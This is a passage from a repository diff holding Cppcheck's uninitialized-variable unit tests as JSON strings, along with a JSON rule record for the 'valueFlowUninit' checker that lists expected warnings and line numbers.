S t{ i };\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" int i;\\n\"\n \" std::vector v(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: i [uninitvar]\\n\"\n \"[test.cpp:8:10]: (error) Uninitialized variable: i [uninitvar]\\n\"\n \"[test.cpp:12:24]: (error) Uninitialized variable: i [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" S(char**);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" char* p;\\n\"\n \" S s(&p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12354\n \" int i{};\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void f(bool b) {\\n\"\n \" S* p;\\n\"\n \" if (b)\\n\"\n \" p = new S();\\n\"\n \" p->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:5]: (warning) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n // #12461\n valueFlowUninit(\"struct stry_type {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void bar(str_type *items);\\n\"\n \"void foo() {\\n\"\n \" str_type st_arr[1];\\n\"\n \" char arr[5];\\n\"\n \" st_arr[0].out = &arr;\\n\"\n \" bar(st_arr);\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct stry_type {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" str_type st_arr[1];\\n\"\n \" char arr[5];\\n\"\n \" st_arr[0].out = &arr;\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:20]: (error) Uninitialized variable: arr [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void bar(S* s);\\n\"\n \"void foo() {\\n\"\n \" S s[1][1];\\n\"\n \" char arr[5];\\n\"\n \" s[0][0].out = &arr;\\n\"\n \" bar(s[0]);\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S1 { int x; };\\n\" // #12401\n \"struct S2 { struct S1 s1; };\\n\"\n \"struct S2 f() {\\n\"\n \" struct S2 s2;\\n\"\n \" struct S1* s1 = &s2.s1;\\n\"\n \" s1->x = 0;\\n\"\n \" return s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12685\n \" explicit S(double v);\\n\"\n \" double m;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" double d;\\n\"\n \" S s(d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: d [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" explicit S(double v) : m(v) {}\\n\"\n \" double m;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" double d;\\n\"\n \" S s{ d };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Uninitialized variable: d [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int x; int y; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" s.x = 0;\\n\"\n \" return (&s)->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int x; int y; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" s.x = 0;\\n\"\n \" return (&s)->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: s.y [uninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninitForLoop()\n {\n valueFlowUninit(\"void f() {\\n\" // #9924\n \" for (unsigned int a = 0, b; a < 42; a++) {\\n\"\n \" std::cout << ++b << std::endl;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Uninitialized variable: b [uninitvar]\\n\", errout_str());\n }\n\n void uninitvar_memberfunction() {\n // # 8715\n valueFlowUninit(\"struct C {\\n\"\n \" int x();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C *c;\\n\"\n \" if (c->x() == 4) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: c [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A { \\n\"\n \" int i; \\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" A a;\\n\"\n \" a.f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_nonmember() {\n valueFlowUninit(\"struct Foo {\\n\"\n \" int bar;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" Foo* foo;\\n\"\n \" foo->bar = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: (error) Uninitialized variable: foo [uninitvar]\\n\", errout_str());\n }\n\n void uninitvarDesignatedInitializers() {\n checkUninitVar(\"struct a { int b; };\\n\"\n \"int main() {\\n\"\n \" char *b;\\n\"\n \" extern int f(struct a *);\\n\"\n \" return f(&(struct a){.b = 0});\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct a { int b, c; };\\n\"\n \"int main() {\\n\"\n \" char *c;\\n\"\n \" extern int f(struct a *);\\n\"\n \" return f(&(struct a){.b = 0, .c = 0});\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void isVariableUsageDeref() {\n // *p\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: extern const int SIZE;\n checkUninitVar(\"void f() {\\n\"\n \" char a[SIZE+10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" *a += 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a[10][10];\\n\"\n \" dostuff(*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" void (*fp[1]) (void) = {function1};\\n\"\n \" (*fp[0])();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void isVariableUsageDerefValueflow()\n {\n // *p\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n // extracttests.start: extern const int SIZE;\n valueFlowUninit(\"void f() {\\n\"\n \" char a[SIZE+10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" *a += 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a[10][10];\\n\"\n \" dostuff(*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" void (*fp[1]) (void) = {function1};\\n\"\n \" (*fp[0])();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"template T Get() {return value;}\\n\"\n \"char f() {\\n\"\n \" char buf[10];\\n\"\n \" for(int i = 0; i < Get() ; ++i) \\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void Foo(double* p) {\\n\"\n \" p[0] = 0;\\n\"\n \" p[1] = 0;\\n\"\n \" p[2] = 0;\\n\"\n \" p[3] = 0;\\n\"\n \"}\\n\"\n \"double f() {\\n\"\n \" double L[2][2];\\n\"\n \" Foo(*L);\\n\"\n \" return L[0][0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #11305\n \" type_t a;\\n\"\n \" a[0] = 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_memberaccess() {\n valueFlowUninit(\"struct foo{char *bar;};\\n\"\n \"void f(unsigned long long *p) {\\n\"\n \" foo a;\\n\"\n \" ((&a)->bar) = reinterpret_cast(*p);\\n\"\n \" if ((&a)->bar) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct foo{char *bar;};\\n\"\n \"void f(unsigned long long *p) {\\n\"\n \" foo a;\\n\"\n \" ((&(a))->bar) = reinterpret_cast(*p);\\n\"\n \" if ((&a)->bar) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\" // #10200\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A::B b;\\n\"\n \" b.i = 123;\\n\"\n \" x.push_back(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A::B b;\\n\"\n \" x.push_back(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (error) Uninitialized variable: b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector&x) {\\n\"\n \" A a;\\n\"\n \" a.j = 123;\\n\"\n \" x.push_back(a);\\n\"\n \"}\\n\");\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A a;\\n\"\n \" x.push_back(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { struct T { int* p; } t[2]; };\\n\" // #11018\n \"void f() {\\n\"\n \" S s;\\n\"\n \" *&s.t[0].p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" ((*&(*&s.t[0].p))) = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int i; };\\n\" // #6323\n \"void f() {\\n\"\n \" struct S s;\\n\"\n \" int x = -3;\\n\"\n \" int y = x < (1, s.i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: s.i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #11353\n \"struct S f() {\\n\"\n \" struct S s;\\n\"\n \" int* p = &s.x;\\n\"\n \" *p = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ctu_(const char* file, int line, const char code[]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctuTest() {\n ctu(\"void f(int *p) {\\n\"\n \" a = *p;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:4] -> [test.cpp:2:10]: (error) Using argument p that points at uninitialized variable x [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void use(int *p) { a = *p + 3; }\\n\"\n \"void call(int x, int *p) { x++; use(p); }\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" call(4,&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7] -> [test.cpp:2:33] -> [test.cpp:1:25]: (error) Using argument p that points at uninitialized variable x [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (!var)\\n\"\n \" return -1;\\n\" // <- early return\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" int x;\\n\"\n \" dostuff(a, &x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (cond)\\n\"\n \" *y = -1;\\n\" // <- conditionally written\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" int x;\\n\"\n \" dostuff(a, &x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void f(int *p) {\\n\"\n \" a = sizeof(*p);\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void f(int *v) {\\n\"\n \" std::cin >> *v;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:28]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void increment(int* i) { ++(*i); }\\n\"\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(&n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:30]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"typedef struct { int type; int id; } Stem;\\n\"\n \"void lookupStem(recodeCtx h, Stem *stem) {\\n\"\n \" i = stem->type & STEM_VERT;\\n\"\n \"}\\n\"\n \"void foo() {\\n\"\n \" Stem stem;\\n\"\n \" stem.type = 0;\\n\"\n \" lookupStem(h, &stem);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:28]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestUninitVar)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/valueFlowUninit.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/valueFlowUninit.json new file mode 100644 index 0000000..139169e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/valueFlowUninit.json @@ -0,0 +1,22 @@ +{ + "name": "valueFlowUninit", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 76, + "branches": 26, + "apis": 84, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5471 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkuninitvar.h\"\n#include \"ctu.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestUninitVar : public TestFixture {\npublic:\n TestUninitVar() : TestFixture(\"TestUninitVar\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(uninitvar1);\n TEST_CASE(uninitvar_warn_once); // only write 1 warning at a time\n TEST_CASE(uninitvar_decl); // handling various types in C and C++ files\n TEST_CASE(uninitvar_bitop); // using uninitialized operand in bit operation\n TEST_CASE(uninitvar_alloc); // data is allocated but not initialized\n TEST_CASE(uninitvar_arrays); // arrays\n TEST_CASE(uninitvar_class); // class/struct\n TEST_CASE(uninitvar_enum); // enum variables\n TEST_CASE(uninitvar_if); // handling if\n TEST_CASE(uninitvar_loops); // handling for/while\n TEST_CASE(uninitvar_switch); // handling switch\n TEST_CASE(uninitvar_references); // references\n TEST_CASE(uninitvar_return); // return\n TEST_CASE(uninitvar_assign); // = {..}\n TEST_CASE(uninitvar_strncpy); // strncpy doesn't always null-terminate\n TEST_CASE(func_uninit_var); // analyse function calls for: 'int a(int x) { return x+x; }'\n TEST_CASE(func_uninit_pointer); // analyse function calls for: 'void a(int *p) { *p = 0; }'\n TEST_CASE(uninitvar_typeof); // typeof\n TEST_CASE(uninitvar_ignore); // ignore cast, *&x, ..\n TEST_CASE(uninitvar2);\n TEST_CASE(uninitvar3); // #3844\n TEST_CASE(uninitvar4); // #3869 (reference)\n TEST_CASE(uninitvar5); // #3861\n TEST_CASE(uninitvar6); // #13227\n TEST_CASE(uninitvar2_func); // function calls\n TEST_CASE(uninitvar2_value); // value flow\n TEST_CASE(valueFlowUninit2_value);\n TEST_CASE(valueFlowUninit_uninitvar2);\n TEST_CASE(valueFlowUninit_functioncall);\n TEST_CASE(uninitStructMember); // struct members\n TEST_CASE(uninitvar2_while);\n TEST_CASE(uninitvar2_4494); // #4494\n TEST_CASE(uninitvar2_malloc); // malloc returns uninitialized data\n TEST_CASE(uninitvar8); // ticket #6230\n TEST_CASE(uninitvar9); // ticket #6424\n TEST_CASE(uninitvar10); // ticket #9467\n TEST_CASE(uninitvar11); // ticket #9123\n TEST_CASE(uninitvar12); // #10218 - stream read\n TEST_CASE(uninitvar13); // #9772\n TEST_CASE(uninitvar14);\n TEST_CASE(uninitvar_unconditionalTry);\n TEST_CASE(uninitvar_funcptr); // #6404\n TEST_CASE(uninitvar_operator); // #6680\n TEST_CASE(uninitvar_ternaryexpression); // #4683\n TEST_CASE(uninitvar_pointertoarray);\n TEST_CASE(uninitvar_cpp11ArrayInit); // #7010\n TEST_CASE(uninitvar_rangeBasedFor); // #7078\n TEST_CASE(uninitvar_static); // #8734\n TEST_CASE(uninitvar_configuration);\n TEST_CASE(checkExpr);\n TEST_CASE(trac_4871);\n TEST_CASE(syntax_error); // Ticket #5073\n TEST_CASE(trac_5970);\n TEST_CASE(valueFlowUninitTest);\n TEST_CASE(valueFlowUninitBreak);\n TEST_CASE(valueFlowUninitStructMembers);\n TEST_CASE(valueFlowUninitForLoop);\n TEST_CASE(uninitvar_ipa);\n TEST_CASE(uninitvar_memberfunction);\n TEST_CASE(uninitvar_nonmember); // crash in ycmd test\n TEST_CASE(uninitvarDesignatedInitializers);\n\n TEST_CASE(isVariableUsageDeref); // *p\n TEST_CASE(isVariableUsageDerefValueflow); // *p\n\n TEST_CASE(uninitvar_memberaccess); // (&(a))->b <=> a.b\n\n // whole program analysis\n TEST_CASE(ctuTest);\n }\n\n struct CheckUninitVarOptions\n {\n CheckUninitVarOptions() = default;\n bool cpp = true;\n bool debugwarnings = false;\n const Settings *s = nullptr;\n };\n\n#define checkUninitVar(...) checkUninitVar_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUninitVar_(const char* file, int line, const char code[], const CheckUninitVarOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).debugwarnings(options.debugwarnings).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for redundant code..\n CheckUninitVar checkuninitvar(&tokenizer, &settings1, this);\n checkuninitvar.check();\n }\n\n void uninitvar1() {\n // extracttests.start: int b; int c;\n\n // Ticket #2207 - False negative\n checkUninitVar(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = a - c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #6455 - some compilers allow const variables to be uninitialized\n // extracttests.disable\n checkUninitVar(\"void foo() {\\n\"\n \" const int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n // extracttests.enable\n\n checkUninitVar(\"void foo() {\\n\"\n \" int *p;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\" // #5240\n \" char *p = malloc(100);\\n\"\n \" char *tmp = realloc(p,1000);\\n\"\n \" if (!tmp) free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int *p = NULL;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dereferencing uninitialized pointer..\n // extracttests.start: struct Foo { void abcd(); };\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: template struct Foo { void abcd(); };\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Foo { void* a; };\n checkUninitVar(\"void f(Foo *p)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" p->a = malloc(4 * a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" *p = 135;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" p[0] = 135;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int y = *x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int &y(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int *&y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int x = xyz::x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" a = 5 + a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" extern int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void bar(int);\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" bar(4 * a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (int x = 0; i < 10; x++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (int x = 0; x < 10; i++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 0;\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" int i;\\n\"\n \" ar[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int x, y;\\n\"\n \" x = (y = 10);\\n\"\n \" int z = y * 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo() {\\n\"\n \" int x, y;\\n\"\n \" x = ((y) = 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3597\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" int b = 1;\\n\"\n \" (b += a) = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int a,b,c;\\n\"\n \" a = b = c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" 